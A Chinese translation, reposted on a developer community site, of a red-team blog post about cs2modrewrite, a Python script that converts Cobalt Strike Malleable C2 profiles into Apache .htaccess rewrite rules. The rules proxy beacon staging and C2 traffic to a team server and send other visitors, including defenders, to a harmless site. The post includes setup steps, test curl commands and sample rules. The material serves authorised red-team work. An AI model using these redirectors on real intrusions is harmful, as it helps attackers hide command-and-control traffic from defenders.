首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Apache mod_rewrite 和Cobalt Strike Malleable C2 Profiles 的自动转换

本文描述了我创建的一个脚本,用于将Cobalt Strike Malleable C2 Profiles转换为相应的 mod_rewrite 规则, 使其能智能的将 HTTP 代理重定向到 C2 通信。该脚本自动化过程被众所周知的红队成员,现在的同事-杰夫迪莫克 (@bluscreenofjeff) 所描述。智能的使用 C2 重定向是一个成熟的 C2 体系结构的核心, 使其可以经受一些轻度的检测和探查。开发Cobalt Strike与mod_rewrite兼容的规则来重定向通信并不是非常困难, 但是有一些 Apache "陷阱"要处理, 在处理多个 C2 配置文件时, 该过程很容易出错。自动化提高了一致性, 并减少了spin-up、测试和排除唯一和分层 C2 基础结构所需的时间。从好的基础开始总是好的。

cs2modrewrite 的亮点

重写规则根据有效的 C2 uri (HTTP GET、POST 和 Stager) 和指定的用户代理字符串重写规则。结果: 默认情况下, 只有具有指定 UA 字符串的有效 C2 uri 的请求才会被代理到团队服务器。

使用自定义的Malleable C2 配置文件生成具有相应 mod_rewrite 规则的. htaccess文件

支持Cobalt Strike 3.10 配置文件的最新功能

HTTP 或 HTTPS 代理到Cobalt Strike团队服务器

HTTP 302 重定向到非匹配请求的合法站点

快速开始

运行 Cobalt Strike的c2lint配置文件验证工具以确保所选的 C2 配置文件正常工作。

./c2lint havex.profile

对 C2 配置文件运行cs2modrewrite

python ./cs2modrewrite.py -i havex.profile -c

http:// -d http://

将输出保存到 web 根目录 (/var/www/html/. htaccess)

根据需要修改/调整 .htaccess文件。

确保 Apache 安装将遵守新的. htaccess文件。

为重定向支持启用必要的 Apache 模块。

a2enmod rewrite proxy proxy_http

修改/etc/apache2/apache中的目录块以类似于下面的内容。这里的关键是确保 AllowOverride 设置为 “All”, 而不是 “None”。

Options Indexes FollowSymLinks AllowOverride All Require all granted

启用新模块并更改配置后, 重新启动 Apache 实例。后续 .htaccess文件更改就不需要重新启动或重新加载 Apache。

a service apache2 restart

测试、测试、测试..。

在尝试生成和执行任何信标之前,请使用一些初始命令对 mod_rewrite 规则进行一些快速初始测试和验证。

# This command should match the mod_rewrite stager rules and result in proxying of the beacon payload

$ curl -H “User-Agent: My Custom UA” http://redirector.com/

# This command should redirect to your chosen benign site

$ curl -H “User-Agent: Blue Forces UA” http://redirector.com/

使用脚本下载:https://github.com/threatexpress/cs2modrewrite

参数

cs2modrewrite.py [-h] [-i INPUTFILE] [-c C2SERVER] [-d DESTINATION]

Converts Cobalt Strike profiles to Apache mod_rewrite .htaccess file format by using the User-Agent and URI Endpoint to create rewrite rules. Make sure the profile passes a c2lint check before running this sript.

optional arguments:

-h, --help show this help message and exit

-i INPUTFILE C2 Profile file

-c C2SERVER C2 Server (http://teamserver)

-d DESTINATION (Optional) Redirect to this URL (http://google.com)

输出样例

#### Save the following as .htaccess in the root web directory ########################################

## .htaccess START RewriteEngine On

## (Optional)

## Scripted Web Delivery

## Uncomment and adjust as needed

#RewriteCond % ^/css/style1.css?$

#RewriteCond % ^$

#RewriteRule ^.*$ "http://TEAMSERVER%" [P,L]

## Default Beacon Staging Support (/1234)

RewriteCond % ^/..../?$

RewriteCond % "Mozilla/5.0 \(Windows; U; MSIE 7.0; Windows NT 5.2\) Java/1.5.0_08" RewriteRule ^.*$ "http://TEAMSERVER%" [P,L]

## C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs)

## Logic: If a requested URI AND the User-Agent matches, proxy the connection to the Teamserver

## Consider adding other HTTP checks to fine tune the check. (HTTP Cookie, HTTP Referer, HTTP Query String, etc)

## Refer to http://httpd.apache.org/docs/current/mod/mod_rewrite.html

## Profile URIs

RewriteCond % ^(/include/template/isx.php.*|/wp06/wp-includes/po.php.*|/wp08/wp-includes/dtcla.php.*|/modules/mod_search.php.*|/blog/wp-includes/pomo/src.php.*|/includes/phpmailer/class.pop3.php.*|/api/516280565958.*|/api/516280565959.*)$

## Profile UserAgent

RewriteCond % "Mozilla/5.0 \(Windows; U; MSIE 7.0; Windows NT 5.2\) Java/1.5.0_08"

RewriteRule ^.*$ "https://TEAMSERVER%" [P,L]

## Redirect all other traffic here

RewriteRule ^.*$ HTTPS://GOHERE/ [L,R=302]

## .htaccess END

########################################

总结

Python 脚本cs2modrewrite自动化了创建与 Apache mod_rewrite 进行智能重定向的 Malleable C2 兼容 htaccess 文件的过程。请试用并随时在 Twitter 上的@joevest和 ThreatExpress GitHub项目上提供反馈和建议.

有关开发 C2 体系结构的详细信息, 请查看红队Wiki.

参考资料

Apache mod_rewrite Official Documentation

Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite by Jeff Dimmock

Strengthen Your Phishing with Apache mod_reqwrite and Mobile User Redirection by Jeff Dimmock

https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.htm

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180318G0KM5I00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券